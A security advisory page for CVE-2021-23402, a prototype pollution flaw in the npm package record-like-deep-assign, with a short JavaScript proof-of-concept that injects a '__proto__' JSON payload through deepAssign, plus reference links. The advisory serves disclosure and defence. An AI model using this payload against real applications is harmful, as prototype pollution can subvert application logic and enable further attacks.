GHSA-7qm6-9v49-38m9
Dashboard / Vulnerabilities / GHSA-7qm6-9v49-38m9
Summary: Prototype Pollution in record-like-deep-assign
Details: All versions of package record-like-deep-assign are vulnerable to Prototype Pollution via the main functionality. ### PoC ```js const deepAssign = require('record-like-deep-assign'); let obj = {}; console.log("Before being polluted: " + obj.polluted); EVIL_JSON = JSON.parse('{"__proto__":{"polluted":true}}'); deepAssign({}, EVIL_JSON); console.log("After being polluted: " + obj.polluted); ```
References: https://nvd.nist.gov/vuln/detail/CVE-2021-23402, https://github.com/kripod/record-like-deep-assign, https://github.com/kripod/record-like-deep-assign/blob/v1.0.1/src/mod.ts%23L17-L35, https://snyk.io/vuln/SNYK-JS-RECORDLIKEDEEPASSIGN-1311024
Affected packages
Package
Name: record-like-deep-assign
Purl: pkg:npm/record-like-deep-assign
Affected ranges
Type: SEMVER
Events:
